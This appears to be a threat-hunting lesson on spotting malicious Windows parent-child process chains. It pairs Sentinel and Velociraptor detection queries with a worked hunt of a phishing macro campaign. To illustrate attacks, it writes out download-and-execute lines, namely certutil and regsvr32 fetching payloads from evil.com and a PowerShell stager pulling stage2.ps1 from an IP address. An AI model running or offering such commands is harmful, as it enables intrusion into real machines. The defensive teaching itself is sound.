🔍 Try This First
Open Task Manager on your Windows machine and click ‘More details’. In the Details tab, add the ‘Parent process ID’ column. Now open a command prompt — what is the parent PID? Is it explorer.exe? Now think: in a normal enterprise, what would it mean if cmd.exe had powershell.exe as its parent, and powershell.exe’s parent was winword.exe?
Attempt this before reading on. Getting stuck is the point.
Process lineage is the attacker’s signature. Every execution technique — macro, exploit, LOLBin, injection — leaves a trace in the parent-child relationship. The hunter who knows the expected tree will immediately see when the tree is wrong.
The Expected Windows Process Tree
System (PID 4)
├── smss.exe (Session Manager)
│ ├── csrss.exe (subsystem process)
│ └── wininit.exe
│ ├── lsass.exe (credential store — NO children expected)
│ ├── lsm.exe (local session manager)
│ └── services.exe (service control manager)
│ ├── svchost.exe -k netsvcs
│ ├── svchost.exe -k LocalService
│ ├── svchost.exe -k NetworkService
│ └── ... (many svchost instances)
│
└── explorer.exe (spawned via userinit.exe at logon)
├── chrome.exe
├── WINWORD.EXE
└── ... (user applications)
Hunter rule: Any process that appears in this tree but has a wrong parent is a hunt lead. Any process NOT in this tree that claims to be a system binary is a masquerading candidate.
High-Signal Parent-Child Anomalies
Office Application Spawning Shell Interpreters
WINWORD.EXE
└── cmd.exe ← macro executed shell command (T1059.003)
└── powershell.exe -enc <base64> ← encoded PowerShell stage
└── mshta.exe http://... ← HTML application download + execute
This chain = macro → shellcode downloader. Each arrow is suspicious. The full chain is a high-confidence malicious macro execution.
Fleet detection query (KQL / Sysmon):
// Office spawning shell interpreters
SecurityEvent
| where EventID == 4688 // process creation
| where ParentProcessName has_any ( "winword.exe" , "excel.exe" , "powerpnt.exe" ,
"outlook.exe" , "onenote.exe" )
| where NewProcessName has_any ( "cmd.exe" , "powershell.exe" , "wscript.exe" ,
"cscript.exe" , "mshta.exe" , "certutil.exe" ,
"regsvr32.exe" , "rundll32.exe" )
| project TimeGenerated, Computer, ParentProcessName, NewProcessName,
CommandLine, SubjectUserName
Browser Spawning Execution Engines
chrome.exe
└── cmd.exe /c "powershell.exe -w hidden -c ..."
← drive-by download / browser exploit
firefox.exe
└── wscript.exe temp_downloader.js
← drive-by via JavaScript dropped to disk
svchost.exe with Non-Service Parent
powershell.exe
└── svchost.exe ← PPID spoofed to services.exe
OR process hollowing target
OR DLL injection into legitimate svchost
Real svchost.exe is ALWAYS spawned by services.exe. Any other parent is a hunt lead.
LOLBin Execution Chains: Common Patterns
Chain 1: Certutil Download
Macro/script execution
└── cmd.exe /c certutil -urlcache -f http://evil.com/payload.exe C:\Temp\run.exe
└── run.exe (payload)
VQL to detect at fleet scale:
SELECT Pid, Ppid, Name , CommandLine, Username,
Exe AS FullPath
FROM pslist()
WHERE Name = ~ "certutil.exe"
AND CommandLine = ~ "urlcache|decode|encode"
WINWORD.EXE
└── regsvr32.exe /s /i:http://evil.com/payload.sct scrobj.dll
Regsvr32 with a URL argument is never legitimate. Regsvr32 with scrobj.dll (COM scriptlet host) + /i:http is a strong hunting signature.
Chain 3: WMI Execution (Fileless)
wmic.exe process call create "powershell.exe -w hidden ..."
OR
WMI Subscription (Windows.Management.EventFilter → CommandLineEventConsumer)
└── powershell.exe -enc ... (spawned by WmiPrvSE.exe or scrcons.exe)
WMI subscription persistence appears as PowerShell spawned by WmiPrvSE.exe — not by any user application. This is a strong hunting signal.
-- Velociraptor: find WMI subscriptions
SELECT *
FROM wmi(query = "SELECT * FROM __EventConsumer" ,
namespace= "root\\subscription" )
Worked Example
Parent-child hunt: tracking a macro execution chain fleet-wide PEAK Hypothesis: A spear-phishing campaign delivered a malicious Word document that uses a macro to spawn PowerShell, download a second stage, and execute it. This chain (WINWORD.EXE → cmd.exe → PowerShell) will appear in Sysmon Event 1 data across the fleet.
Hunt Step 1 — Fleet query on Sysmon Event 1 (14 days)
// KQL in Sentinel: Office → Shell chain
Sysmon
| where EventID == 1
| where ParentImage has_any ( "WINWORD.EXE" , "EXCEL.EXE" )
| where Image has_any ( "cmd.exe" , "powershell.exe" , "wscript.exe" , "mshta.exe" )
| project TimeGenerated, Computer, ParentImage, Image, CommandLine, User
| order by TimeGenerated desc Results:
2024-09-02 14:23:11 | WS-JDOE-01 | WINWORD.EXE → cmd.exe | /c powershell.exe -w hidden -enc SW52b2tlLUV4cHJlc3Npb24...
2024-09-02 14:31:47 | WS-MCHEN-02 | WINWORD.EXE → cmd.exe | /c powershell.exe -w hidden -enc SW52b2tlLUV4cHJlc3Npb24...
2024-09-02 14:45:09 | WS-RBROWN-03| WINWORD.EXE → cmd.exe | /c powershell.exe -nop -w hidden -c ... Same base64-encoded PowerShell command on three hosts within 22 minutes — consistent with a phishing campaign.
Hunt Step 2 — Decode the base64
echo "SW52b2tlLUV4cHJlc3Npb24..." | base64 -d
# → Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://185.220.101.9/stage2.ps1') Stage 2 download from 185.220.101.9 — pivot to network logs.
Hunt Step 3 — Network pivot
All three hosts made connections to 185.220.101.9:80 within 60 seconds of the cmd.exe spawn.
WS-JDOE-01: also connected to 185.220.101.9:443 for 3 days following (beacon established).
WS-MCHEN-02: connection failed (firewall rule on that segment blocked port 80 outbound).
WS-RBROWN-03: DNS lookup only, no connection (domain front-end not reached before firewall).
Hunt Step 4 — Document findings
Three hosts clicked the phishing attachment. One established a beacon (P1). Two failed to reach C2 (contained by network controls, but still require endpoint remediation — macro executed, stage 1 ran).
PEAK Act:
WS-JDOE-01: P1 IR escalation (active C2)
WS-MCHEN-02, WS-RBROWN-03: IR notification (malicious macro executed, no C2 — P3)
All three: image and reimagine endpoints
Detection: Sigma rule for Office → cmd → PowerShell -enc chain
Retrieval Practice
A hunt finds svchost.exe (PID 5432) spawned by powershell.exe (PID 3801) on one endpoint. The svchost.exe is running from C:\Windows\System32\ (legitimate path), making outbound connections to port 443. What are the three possible explanations and which is most likely?
Reveal answer
Three explanations: (1) Process hollowing (T1055.012) — attacker created svchost.exe in suspended state via CreateProcess called from powershell.exe, injected malicious code, resumed it. The binary is real System32 svchost but contains injected code. (2) PPID spoofing — the actual spawner was services.exe but the attacker spoofed the PPID to show powershell.exe (or vice versa — the real parent was PowerShell, spoofed to appear as services.exe but the spoofing failed). (3) Legitimate but unusual workflow — some software management tools spawn svchost sub-processes. Most likely: process hollowing (1) is the most common attacker technique using this pattern. The key additional check: Sysmon Event 8 (CreateRemoteThread) or Event 10 (ProcessAccess) targeted at PID 5432 from powershell.exe PID 3801 — that confirms injection. Memory analysis (malfind) will show the injected code.
Retrieval Practice
Explain why a defender cannot safely add 'WmiPrvSE.exe spawning PowerShell.exe' to a blocklist (automatic termination), even though it's a strong hunting signal.
Reveal answer
WmiPrvSE.exe spawning PowerShell is used by some legitimate enterprise software: systems management tools (SCCM client scripts), monitoring agents, and vendor automation use WMI to run PowerShell commands for inventory and configuration. Automatic blocking would terminate legitimate management operations, potentially breaking patch management or monitoring on all endpoints. The correct approach: treat it as a hunt/alert signal requiring analyst review, not automatic blocking. For response automation: flag, alert, and collect additional context (what is the PowerShell command line? what network connections does it make?). Automatic blocking is safe only for combinations that have no legitimate use in your specific environment — and even then, test in audit mode for 30 days before enforcing.